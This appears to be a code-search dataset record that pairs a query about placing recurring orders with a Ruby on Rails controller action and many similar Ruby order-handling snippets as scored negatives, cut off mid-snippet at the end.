nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OrdersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @orders = Order.page(params[:page])\n end", "def index\n @orders = @branch.orders.limit(100).paginate(:page=>params[:page], :per_page=>20)\n logger.debug @orders.inspect\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def show\n\t\trespond_with @order\n\tend", "def index\n @customers = Customer.where(order_id: params[:order_id])\n @order = Order.find(params[:order_id])\n end", "def index\n @orders = Order.search(params[:search]).page params[:page]\n end", "def test_can_list_orders\n user = authenticated_user\n\n VCR.use_cassette('orders') do\n orders = user.orders\n assert orders.is_a? Array\n assert_equal 2, orders.length\n\n first_order = orders.first\n assert_equal 482, first_order.id\n\n second_order = orders.last\n assert_equal 483, second_order.id\n end\n end", "def searchByOrder\n \torderId = params['id']\n\t order = Order.where(id: orderId)\n\t render json: order, status: 200\n\tend", "def show\n @orders = @client.orders.where(is_validate:true)\n end", "def index\n @order = Order.find_by(id: params[:id].to_i)\n @order_items = @order.order_items\n\n if @order.nil?\n flash.now[:danger] = \"Cannot find the order #{params[:id]}\"\n render :not_found, status: :not_found\n end\n end", "def index\n @orders = @group.orders\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def show\n render json: @order\n end", "def show\n render json: @order\n end", "def index\n @orders = Order.paginate page: params[:page], order: 'created_at desc', \n per_page: 10\n \n respond_to do |format|\n format.html\n format.json { render json: @orders } \n end\n end" ]
[ "0.76108575", "0.7571871", "0.7565088", "0.7553564", "0.73893106", "0.71802455", "0.71285194", "0.71091425", "0.7107938", "0.70959866", "0.7094809", "0.7038703", "0.7029999", "0.6997396", "0.69355786", "0.6911513", "0.6893398", "0.6892263", "0.68564177", "0.68262166", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6821592", "0.6820128", "0.6808775", "0.68065155", "0.68004245", "0.6798691", "0.6798691", "0.6798691", "0.6798691", "0.679841", "0.67967445", "0.67967445", "0.678281", "0.6780383", "0.6775797", "0.67472327", "0.67350566", "0.6712511", "0.6711684", "0.6687947", "0.66833353", "0.6667742", "0.66532695", "0.66259134", "0.66236496", "0.6620046", "0.6617757", "0.6591816", "0.6574799", "0.65702355", "0.65627617", "0.6560543", "0.6558321", "0.6547332", "0.65453184", "0.6542586", "0.6539167", "0.6533066", "0.6533066", "0.65302515" ]
0.7104481
9
Place Order POST /orders Recurring order start from the day you place them Assuming Resturant sent belongs to the user region only
def create order_params = (place_order_params) order_params[:customer_id] = current_user.customer_id @order = Order.new(order_params) if @order.recurring? if((Time.now + 1.hour).strftime('%H:%M:%S') <= (Time.parse(@order.place_date + ' ' + @order.timeslot.start)).strftime('%H:%M:%S') && [email protected]? ) # Add the auto generated entry @order.category = 'single' @order.created_by = 'auto' @order.save! end # Improve this if Order.create!(order_params) render json: @order, status: 201 else render json: {'errors': ['Order can no be placed']}, status: :unprocessable_entity end else if (Time.now + 1.hour <= Time.parse(@order.place_date + ' ' + @order.timeslot.start)) && @order.save! render json: @order, status: 201 else render json: {'errorrs': ['Order can not be placed']}, status: :unprocessable_entity end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assign_order_date\n @booked_quotes = Quote.where(florist_id: session[\"found_florist_id\"]).where(status: \"Ordered\").where(wholesale_order_date: nil) + Quote.where(florist_id: session[\"found_florist_id\"]).where(status: \"Booked\").where(wholesale_order_date: nil)\n for booked_quote in @booked_quotes\n if params[\"place_order-#{booked_quote.id}\"]\n booked_quote.status = \"Ordered\"\n #booked_quote.wholesale_order_date = Date.civil(params[:place_order_on][\"element(1i)\"].to_i, params[:place_order_on][\"element(2i)\"].to_i, params[:place_order_on][\"element(3i)\"].to_i)\n booked_quote.wholesale_order_date = params[\"place_order_on\"]\n booked_quote.save!\n else\n end\n end\n redirect_to \"/wholesale_order_list/#{params[\"place_order_on\"]}\" and return\n end", "def new_order(params = {})\r\n params = { :created => Date.today, :turnaround_year => \"2007\" }.merge(params)\r\n if self.requesting?\r\n self.requested_orders.build({ :date_requested => Date.today.to_s(:db) }.merge(params))\r\n elsif self.planning?\r\n self.planned_orders.build(params)\r\n else\r\n Order.new(params)\r\n end\r\n end", "def create_order(options)\n request :account, :post, 'order', options\n end", "def create\n @order = current_user.orders.build(:order_date => DateTime.now, :status => 'Pending')\n\n respond_to do |format|\n if @order.save\n @cart.line_items.each do |line_item| \n\n @orderitem = @order.order_items.create!(\n record_id: line_item.record_id,\n quantity: line_item.quantity,\n title: line_item.record.title,\n artist: line_item.record.artist,\n price: line_item.record.price,\n year: line_item.record.year,\n )\n end\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend", "def perform\n Magento2::Api.configure('dz4xnhhgfsfuyj00g6bkel0jq6mwdak2', 'hhjnlf59qh2m7an9sdpfcu0o9nox78y6', 'ie5iafduhqs1dydynidsjki582oti17w', 'mva5hldj17elic6muxmf53fq7zmm7xl5', \"https://mall2door.net\")\n orders = Magento2::Api.get(\"/rest/en/V1/orders\", {searchCriteria: 'all' })\n all_orders = orders[:items]\n all_orders.each do |order|\n unless order[:status].present?\n order_id = order[:increment_id]\n id = order[:entity_id]\n status = order[:state]\n params = {\n entity_id: id,\n increment_id: order_id,\n status: status,\n }\n if status\n Magento2::Api.put(\"/rest/en/V1/orders/create\", {entity: params})\n end\n end\n end\n end", "def complete_order\n @tire_listing = TireListing.find(params[:tire_listing_id])\n\n if !@tire_listing.can_do_ecomm?\n redirect_to @tire_listing, notice: \"Those tires are not eligible for online purchase.\"\n end\n\n @ar_months = Date::MONTHNAMES.each_with_index.collect{|m, i| [m, i.to_s.rjust(2, '0')]}\n @ar_years = [*Date.today.year..Date.today.year + 8]\n\n @qty = params[:qty].to_i\n @order = Order.new(:tire_listing_id => @tire_listing.id, :tire_quantity => @qty)\n @order.status = order_status_array[:created]\n @order.calculate_total_order\n @order.buyer_email = @order.buyer_name = @order.buyer_address1 = @order.buyer_city = @order.buyer_state = @order.buyer_zip = \"unknown\" # to prevent null error\n initialize_order\n @order.save\n end", "def new_order_v1\n begin\n @parsed_json[\"order_items\"] ? order_items = @parsed_json[\"order_items\"] : nil\n @parsed_json[\"location_id\"] ? location_id = @parsed_json[\"location_id\"].to_i : nil\n location = Location.find_by_id(location_id)\n tax = location.tax #look up tax of location manually\n if location.nil? || location_id.nil? || order_items.nil? || tax.nil?\n return render :status => 404, :json => {:status => :failed, :error => \"Resource not found\"}\n end\n ActiveRecord::Base.transaction do\n if Order.is_current(@user.id, location)\n current_order = Order.find_by_user_id_and_location_id_and_is_paid_and_is_cancel(@user.id, location.id, 0, 0)\n ordered_date = current_order.created_at\n if current_order.order_items.length > 0\n ordered_date = Time.now.utc\n end\n\n order_item = OrderItem.add_new_item_v1(order_items, current_order)\n\n # re-calculate sub_price of order\n sub_price = Order.calculate_sub_price(current_order)\n fee = location.service_fee_type=='fixed'? location.fee : sub_price / 100 * location.fee\n\n if !order_item.prize_id.nil? && order_item.is_prize_item == 1\n current_order.update_attributes!(\n :location_id => location.id,\n :tax => tax,\n :fee => fee,\n :created_at => ordered_date,\n :status => 1,\n :sub_price => sub_price\n )\n else\n current_order.update_attributes!(\n :location_id => location.id,\n :tax => tax,\n :fee => fee,\n :created_at => ordered_date,\n :sub_price => sub_price\n )\n end\n\n if current_order.in_order?\n current_order.update_attributes!(:status => 2)\n end\n\n total_price = Order.calculate_total_price(current_order)\n current_order.update_attribute('total_price', total_price)\n\n return render :status => 200,\n :json => {\n :status => :success,\n :order_id => current_order.id,\n :order_item_id => order_item.id,\n :order_item_status => order_item.status\n }\n else # this is a brand-new Order\n today_orders = Order.where('created_at > ?', Time.now.strftime(\"%Y-%m-%d\")+\" 00:00:00\")\n\n new_order = Order.new\n new_order.user_id = @user.id\n new_order.tax = tax\n new_order.location_id = location.id\n new_order.timezone = location.timezone\n new_order.receipt_day_id = Order.next_receipt_no(location)\n new_order.ticket = today_orders.count+1\n order_item = OrderItem.add_new_item_v1(order_items, new_order)\n # if user added a prize item to cart, status of cart would be changed to ordered\n if !order_item.prize_id.nil? && order_item.is_prize_item == 1\n new_order.status = 1\n end\n sub_price = Order.calculate_sub_price(new_order)\n new_order.sub_price = sub_price\n new_order.total_tax = sub_price * tax\n new_order.total_tip = -2\n new_order.tip_percent = 0.16\n new_order.fee = location.service_fee_type=='fixed'? location.fee : sub_price / 100 * location.fee\n new_order.save!\n\n total_price = Order.calculate_total_price(new_order)\n new_order.update_attribute('total_price', total_price)\n # Automatically check the user in at this location (to allow item grading)\n @user.checkin_at(location, false)\n\n return render :status => 200,\n :json => {\n :status => :success,\n :order_id => new_order.id,\n :order_item_id => order_item.id,\n :order_item_status => order_item.status\n }\n end\n end\n rescue\n return render :status => 500, :json => {:status => :failed, :error => \"Internal Service Error\"}\n end\n end", "def create_order(order)\n @queue.enqueue(order)\n end", "def schedule_order_date\n @booked_quotes = Quote.where(florist_id: session[\"found_florist_id\"]).where(status: \"Ordered\").where(wholesale_order_date: nil) + Quote.where(florist_id: session[\"found_florist_id\"]).where(status: \"Booked\").where(wholesale_order_date: nil)\n render(:schedule_order_date) and return\n end", "def create_order(order)\n # response = post(\n # 'peatio/market/orders',\n # {\n # market: order.market.downcase,\n # side: order.side.to_s,\n # volume: order.amount,\n # price: order.price\n # }\n # )\n\n return if order.amount < 1e-8\n od = build_order(order)\n return if od.nil?\n\n# Arke::Log.debug \"Skip order creation #{od.to_json}\\n#{order.inspect}\"\n Ordering.new(od).submit\n @open_orders.add_order(order, od.id) if od.id\n Arke::Log.debug \"Order created #{od.to_json}\"\n\n # @open_orders.add_order(order, response.env.body['id']) if response.env.status == 201 && response.env.body['id']\n\n # response\n end", "def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n # brb WET code.\n @order[:queue_total] = @order.get_queue_total \n @order[:queue_place] = @order.get_queue_place(@order)\n @order[:wait_time] = StoreConfig.find('avg_wait_time').value\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_order()\n\t{\n\t\t\"destination\" => {\n\t\t\t\"name\" => \"hp.jpeng\"\n\t\t},\n\t\t\"orderData\" => {\n\t\t\t\"sourceOrderId\" => [*('A'..'Z')].sample(8).join,\n\t\t\t\"items\" => [{\n\t\t\t\t\"sourceItemId\" => [*('A'..'Z')].sample(8).join,\n\t\t\t\t\"sku\" => \"Flat\",\n\t\t\t\t\"quantity\" => 1,\n\t\t\t\t\"components\" => [{\n\t\t\t\t\t\"code\" => \"Content\",\n\t\t\t\t\t\"path\" => \"https://Server/Path/business_cards.pdf\",\n\t\t\t\t\t\"fetch\" => \"true\",\n\t\t\t\t\t# \"route\" => [{\n\t\t\t\t\t# \t\t\"name\" => \"Print\",\n\t\t\t\t\t# \t\t\"eventTypeId\" => \"\"\t\t#eventTypeId found within Site Flow -> Events\n\t\t\t\t\t# \t}, {\n\t\t\t\t\t# \t\t\"name\" => \"Cut\",\n\t\t\t\t\t# \t\t\"eventTypeId\" => \"\"\n\t\t\t\t\t# \t}, {\n\t\t\t\t\t# \t\t\"name\" => \"Laminate\",\n\t\t\t\t\t# \t\t\"eventTypeId\" => \"\"\n\t\t\t\t\t# \t}, {\n\t\t\t\t\t# \t\t\"name\" => \"Finish\",\n\t\t\t\t\t# \t\t\"eventTypeId\" => \"\"\n\t\t\t\t\t# }]\n\t\t\t\t}],\n\t\t\t}],\n\t\t\t\"shipments\" => [{\n\t\t\t\t\"shipTo\" => {\n\t\t\t\t\t\"name\" => \"John Doe\",\n\t\t\t\t\t\"address1\" => \"5th Avenue\",\n\t\t\t\t\t\"town\" => \"New York\",\n\t\t\t\t\t\"postcode\" => \"12345\",\n\t\t\t\t\t\"state\" => \"New York\",\n\t\t\t\t\t\"isoCountry\" => \"US\",\n\t\t\t\t\t\"email\" => \"[email protected]\",\n\t\t\t\t\t\"phone\" => \"01234567890\"\n\t\t\t\t},\n\t\t\t\t\"carrier\" => {\n\t\t\t\t\t\"code\" => \"customer\",\n\t\t\t\t\t\"service\" => \"shipping\"\n\t\t\t\t}\n\t\t\t}]\n\t\t}\n\t}.to_json()\nend", "def next_recurring_order\n if actual_order = self.last_active_recurring_order\n self.orders.recurring.find(:all, :conditions => [\"orders.id > ?\", actual_order.id],\n :order => \"orders.id ASC\").first\n end\n end", "def create\n @order = Order.new(\n quantity:params[:order][:quantity],\n item_id:params[:order][:item_id],\n requester: current_member,\n requested_at:Time.now,\n approver:Member.find(1),\n approved_at: nil,\n deadline: nil,\n returned:false)\n\n respond_to do |format|\n if @order.save\n #it may become negative to simulate real life scenarios\n @item = @order.item\n @item.update(units:@[email protected])\n format.html { redirect_to orders_path, notice: \"Order was successfully created.\" }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_start_order\n @start_order = StartOrder.find(params[:id])\n end", "def start_recurring_payment\n return unless recurring_period.present?\n run_at = nil\n if recurring_period.to_s.is_i? # each custom days\n run_at = recurring_period.to_i.days.from_now\n # run_at = recurring_period.to_i.minutes.from_now\n else\n case recurring_period\n when 'daily'\n run_at = 1.day.from_now\n when 'weekly'\n run_at = 7.days.from_now\n when 'monthly'\n run_at = 1.month.from_now\n when 'quarterly'\n run_at = 3.months.from_now\n when 'biannually'\n run_at = 6.months.from_now\n when 'yearly'\n run_at = 1.year.from_now\n end\n end\n Delayed::Job.enqueue(LongTasks::RecurringPaymentNotification.new(id), run_at: run_at - 1.day) if run_at && ['tithe', 'partnership'].include?(goal)\n Delayed::Job.enqueue(LongTasks::RecurringPayment.new(id), run_at: run_at) if run_at\n end", "def create!\n recs = \"<data>\n <event>\n <cid>#{self.customer.cid}</cid>\n <nm>#{self.description}</nm>\n <dur>#{self.duration}</dur>\n <schd>#{self.scheduled ? 1 : 0}</schd>\n <start_epoch>#{self.start_time}</start_epoch>\n <lid>#{self.location.id}</lid>\n <cntid>#{0}</cntid>\n <rid>#{self.worker}</rid>\n <dtl>#{self.summary}</dtl>\n <po>#{self.purchase_order}</po>\n </event>\n </data>\"\n data = Aceroute::call_api(\"order.create\", recs)\n order = data.event\n update_attrs(order)\n return self\n end", "def create\n cart = Cart.find_by(user_id: @current_user.id)\n order = Order.new(user_id: @current_user.id,\n date: DateTime.now,\n delivery_address: @current_user.role == \"user\" ? @current_user.addresses.find_by(delivery_address: true).address : \"Walk-in-customer\",\n is_cancel: false,\n total_amount: cart.cart_items.sum(:temp_price))\n if (order.save!)\n cart.cart_items.all.each do |cart_item|\n OrderItem.create!(\n order_id: order.id,\n menu_item_id: cart_item.menu_item_id,\n menu_item_name: cart_item.menu_item_name,\n menu_item_price: cart_item.menu_item_price,\n quantity: cart_item.quantity,\n )\n end\n cart.cart_items.destroy_all\n end\n redirect_to customer_order_details_path(order.id)\n end", "def create\n @order = Order.new(params[:order])\n @addresses = Address.where(:user_id => current_user.id)\n @order.status = 0;\n @order.delivery_cost = @order.delivery.cost\n @order.user = current_user\n @order_positions = current_user.basket.order_positions\n @order.order_positions = @order_positions\n @order.value = sum_price(@order_positions)\n\n respond_to do |format|\n if @order.save\n @order_positions.each do |op|\n op.container = @order\n op.save\n p = op.product\n p.availability -= op.amount\n p.save\n end\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_order(order)\n build_persisted_order(\n post('/market/orders', order.symbolize_keys.merge(side: SIDES_MAP.fetch(order.fetch(:side))))\n )\n end", "def create\n @order = WebOrder.new(order_params)\n respond_to do |format|\n if @order.save\n @order.payments.create(total_paid: params[:initial], kind: :initial, date: @order.date) if params[:initial] && params[:initial].to_i != 0\n format.html { redirect_to order_path(@order.id), notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { redirect_to new_order_path }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @start_order = StartOrder.new(start_order_params)\n respond_to do |format|\n if @start_order.save\n format.html { redirect_to @start_order, notice: 'Start order was successfully created.' }\n format.json { render :show, status: :created, location: @start_order }\n else\n format.html { render :new }\n format.json { render json: @start_order.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @order.single?\n if( (Time.now + 1.hour <= Time.parse(@order.place_date + ' ' + @order.timeslot.start)) && ([email protected]? ) && @order.update(update_order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity\n end\n else\n if(@order.update(update_order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity\n end\n end\n end", "def new_order_placed\n @order = params[:order]\n mail(to: \"[email protected]\", subject: \"New Order Placed\")\n end", "def create\n @order = current_member.orders.build(order_params)\n @line_items = current_member.line_items.where(\"id in (?)\", params[:line_items])\n @order.status = 'opening'\n @order.total_price = 0\n @line_items.each do |line_item|\n @order.total_price += (line_item.product.price * line_item.quantity)\n end\n @order.receivable = @order.total_price\n\n respond_to do |format|\n if @order.save\n @line_items.each do |line_item|\n line_item.order_id = @order.id\n line_item.save\n end\n format.html { redirect_to @order, notice: '你的订单已经生成,确认无误后可以支付!' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_route\n type = OrderType.find_by_name('route')\n \n hwb = Order.find(params[:id])\n \n data = params[\"route\"]\n data[\"parent_id\"] = params[:id]\n \n data[\"created_by\"] = self.current_user.account # <-- hardcoded to Transmance compnay id\n data[\"order_type_id\"] = type.id\n data[\"bill_to_id\"] = 1 # <-- hacked to Transmanage company id\n data[\"billing_method_id\"] = 1 # <-- read this from db!!!!!!!!!!!!!!\n data[\"shipping_method_id\"] = 1 # <-- hardcoded.\n data[\"pieces\"] = 1\n data[\"declared_value\"] = 0\n data[\"purpose\"] = ''\n data[\"weight\"] = 0\n data[\"shipping_commodity_id\"] = 1\n\n res = {\n :success => false,\n :data => [],\n :msg => ''\n }\n\n Order.transaction do \n # super can handle it from here...\n order = Order.create(data)\n \n # get OrderTypeEntity list\n entities = order.type.entities(:include => [:domain])\n \n case params[\"pickup_mode\"]\n when \"shipper\" \n params[\"shipper\"] = {\"company_id\" => Order.find(params[:id]).find_entity_by_type(\"shipper\").company.id}\n when \"carrier\"\n params[\"shipper\"] = {\"company_id\" => params[\"carrier\"][\"company_id\"]} \n end\n \n case params[\"delivery_mode\"]\n when \"carrier\"\n params[\"consignee\"] = {\"company_id\" => params[\"carrier\"][\"company_id\"]}\n end\n entities.each do |e| \n data = params[e.name] \n case e.name\n when \"shipper\"\n location = CompanyLocation.find(:first, \n :conditions => \"airport_id = #{params['origin_airport_id']} AND company_id = #{params['shipper']['company_id']}\"\n ) || Company.create_anonymous_location(params[\"shipper\"][\"company_id\"], hwb.find_entity_by_type('shipper').location)\n data[:company_location_id] = location.id\n data[:date_in] = params[\"carrier\"][\"date_in\"] + ' ' + params[\"carrier\"][\"time_in\"]\n when \"consignee\"\n location = CompanyLocation.find(:first, \n :conditions => \"airport_id = #{params['destination_airport_id']} AND company_id = #{params['consignee']['company_id']}\"\n ) || Company.create_anonymous_location(params[\"consignee\"][\"company_id\"], hwb.find_entity_by_type('consignee').location) \n data[:company_location_id] = location.id\n data[:date_in] = params[\"carrier\"][\"date_out\"] + ' ' + params[\"carrier\"][\"time_out\"]\n when \"carrier\" \n data[:company_location_id] = Company.find(params[\"carrier\"][\"company_id\"], :include => [:head_office]).head_office.id \n end\n data[:order_id] = order.id\n data[:order_type_entity_id] = e.id \n oe = OrderEntity.create(data)\n end\n \n res[:success] = true\n res[:data] = {:route => Order.render_route(order)}\n res[:msg] = 'Added order route' \n end\n\n render :json => res.to_json, :layout => false\n\n end", "def place_order\n @browser.div(:id, \"checkout-step-review\").button(:text, \"Place Order\").click\n seconds = 0.10\n until @browser.text.include?(\"Your order has been received\") do\n sleep 0.10\n seconds += 0.5\n end\n puts \"I waited #{seconds} seconds\"\n #final code dependant assertion\n assert(@browser.button(:title,'Continue Shopping').enabled?)\n # assert_section 'success'\n end", "def new_order(params)\n camelcase_params!(params)\n call_api('NewOrder', params)\n end", "def create\n # creates a new order which belongs to the current customer and contains fields which have values equal to\n # parameters accessed from the order_params hash\n @order = current_customer.orders.new(order_params)\n # sets the total_cost of the order to 0\n @order.total_cost = 0\n # calculates the total_cost of the order by calculating the sum of the cost of the line_items which the\n # basket that the current customer owns contains\n current_customer.basket.line_items.each do |item|\n # the total_cost of the order must be increased by the price of the game which the line_item belongs to\n @order.total_cost += item.game.price\n # the order_id of the line_item is equal to the id of the order which is currently being created\n item.order_id = Order.last.id + 1\n # the basket_id of the line_item is set to nil because the line_item is removed from the basket which\n # belongs to the current customer and is added to the order\n item.basket_id = nil\n # the total cost of the basket which the current customer owns is decreased by the price of the game which\n # the line_item belongs to\n current_customer.basket.total_cost -= item.game.price\n # if a game has been released, the delivery_date of the line_item is the next day\n # if a game has not been released, the delivery_date of the line_item is the release_date of the game\n # which the line_item belongs to\n if item.game.release_date <= Date.today\n # the delivery_date of the line_item is the next day\n item.delivery_date = Date.today + 1\n else\n # the delivery_date of the line_item is the release_date of the game which the line_item belongs to\n item.delivery_date = item.game.release_date\n end\n end\n\n respond_to do |format|\n # attempts to save the order\n if @order.save\n # if the order has successfully been saved, each line_item in the basket which the current customer\n # owns is saved because the value of the fields which the line_items contain is updated\n LineItem.transaction do\n current_customer.basket.line_items.each(&:save!)\n end\n # if the order has successfully been saved, the basket which the current customer owns is saved\n # because the total_cost of the basket is updated\n current_customer.basket.save\n # if the order has successfully been saved, the current customer should be redirected to the page which\n # shows the order that the current_customer has made.\n # shows a notice to the customer that the order has successfully been created\n format.html { redirect_to @order, notice: t('.notice') }\n format.json { render :show, status: :created, location: @order }\n else\n # if the order has not successfully been saved, the current customer should not be redirected to another\n # page and should be shown the errors which prevented the order from being saved\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_order(order_params)\n res = request('post', \"https://#{orders_path}\", order_params)\n parse_response res\n end", "def full_order\n #offset = minute.type == nil ? 3 : 2\n offset = minute.legacy? ? 1 : 3\n order + offset\n end", "def write_order(order, request_body = nil)\n path = \"/checkout/orders\"\n path += \"/#{order.id}\" if order.id\n\n request_body ||= order.to_json\n response = https_connection.post do |req|\n req.url path\n\n req.headers['Authorization'] = \"Klarna #{sign_payload(request_body)}\"\n req.headers['Accept'] = 'application/vnd.klarna.checkout.aggregated-order-v2+json',\n req.headers['Content-Type'] = 'application/vnd.klarna.checkout.aggregated-order-v2+json'\n req.headers['Accept-Encoding'] = ''\n\n req.body = request_body\n end\n handle_status_code(response.status, response.body)\n response\n end", "def process_order!(options)\n options['product'].create_eventbooking(options['model'])\n end", "def order_complete\n load_order\n if @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \[email protected]_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end", "def create\n event = Event.find_by_id(params[:event_id])\n amount = 0.0\n order = Order.create!(event:event, total_amount:amount.to_f, order_number: Order.generate_number)\n order.reload\n order.calculate_total\n respond_with order\n end", "def create_complete_order(user, product, options={})\n returning(user.orders.create) do |order|\n order.line_items.push create_line_item(product.variants.first)\n order.save\n order.checkout.bill_address = Address.new({\n :firstname => \"First\",\n :lastname => \"Last\",\n :address1 => \"Address1\",\n :city => \"City\",\n :state_name => \"A State\",\n :zipcode => \"00000\",\n :country => Country.new,\n :phone => \"00000000\"\n })\n order.complete\n order.save!\n end\nend", "def create\n @lunch = Lunch.for_today\n @order = @lunch.orders.new(params[:order].merge(:user => current_user))\n @restaurant = @lunch.restaurant\n \n respond_to do |format|\n if @order.save\n flash[:notice] = 'Your order has been placed. Let the anticipation begin!'\n format.html { redirect_to(@order) }\n format.xml { render :xml => @order, :status => :created, :location => @order }\n else\n flash.now[:notice] = 'Looks like you already submitted your order.<br/>Want to change your order? Email [email protected] ;-)'\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "def order_arrive_to(order)\n m = Setting::get('Order arrive before')\n if m == ''\n m = 55\n else\n m = m.to_i\n end\n order.updated_at + 55.minutes\n end", "def place_order!()\n if has_order_items?\n order_template = order_object\n order_template = yield order_object if block_given?\n\n @virtual_server.softlayer_client[:Product_Order].placeOrder(order_template)\n end\n end", "def new\n @order = Order.new\n @order.start_time = DateTime.now.strftime('%Y-%m-%d %a %H:%M:%S')\n @order.save\n redirect_to orders_url\n end", "def submit_order!\n @customer_order.transaction do\n cache_addresses!\n mark_deliveries_as_pending!\n cache_billing_address! unless @customer_order.anon_billing_address?\n update_subtotal_items!\n assign_submitted_at!\n submitted!\n end\n end", "def create_paypal_order(cart, details, active_shipping_region_id, active_shipping_method_id)\n order = Order.new \n order.order_type = OrderType::WEB\n billing_address = Address.new(\n :address_1 => details.address['address1'],\n :address_2 => details.address['address2'],\n :city => details.address['city'],\n :state => details.address['state'],\n :postal_code => details.address['zip'],\n :country => details.address['country']\n )\n shipping_address = Address.new(\n :address_1 => details.address['address1'],\n :address_2 => details.address['address2'],\n :city => details.address['city'],\n :state => details.address['state'],\n :postal_code => details.address['zip'],\n :country => details.address['country']\n )\n order.business = ''\n order.billing_address = billing_address\n order.shipping_address = shipping_address\n order.full_name = details.name\n order.phone_number = '555-555-5555'\n order.email = details.email\n \n order.shipping_method_id = active_shipping_method_id\n order.region_id = active_shipping_region_id\n order.add_order_items_from_cart(cart)\n order.calculate_order_costs\n \n order.payment_type = 'paypal'\n \n order.save! \n \n order\n end", "def order_params\n params.require(:order).permit(:start_time, :end_time, :difftime, :cost)\n end", "def mark_order_complete\n order_params = (driver_order_params)\n order_params[:payable_attributes][:driver_id] = current_user.customer_id\n if @order.single?\n if( (Time.now >= Time.parse(@order.place_date + ' ' + @order.timeslot.start) || true) && (@order.pending? ) && @order.update(order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n else\n if(@order.update(order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n end\n end", "def calculate_order(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/orders/calculate',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def create\n @order = current_user.orders.new(params[:order])\n @order.add_line_items_from_cart(current_cart)\n respond_to do |format|\n if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n format.html { redirect_to(\"http://cs410.cs.ualberta.ca:42001/paybuddy/payment.cgi?grp=5&amt=#{@order.total_price}&tx=#{@order.id}&ret=#{paid_url}\") }\n format.json { render json: @order, status: :created, location: @order }\n else\n @cart = current_cart\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_test_order(options)\n request :account, :post, 'order/test', options\n end", "def order_complete\n load_order\n if @order.state == 'canceled' \n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \[email protected]_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end", "def create_order\n @order = Order.create\n end", "def create\n @order = Order.create!(order_params)\n\t@users = User.order(:user_name)\n @restaurants = Restaurant.order(:rest_name)\n \n respond_to do |format|\n if @order.save\n \t@thispart = Participant.create!({:part_user => @order.order_organizer, :part_order => @order.id, :part_role => \"organizer\", :part_cost => 0.00})\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def place\n @order = Order.find(params[:id])\n if(@order.status == \"DRAFT\")\n if(LineItem.where(:order_id => 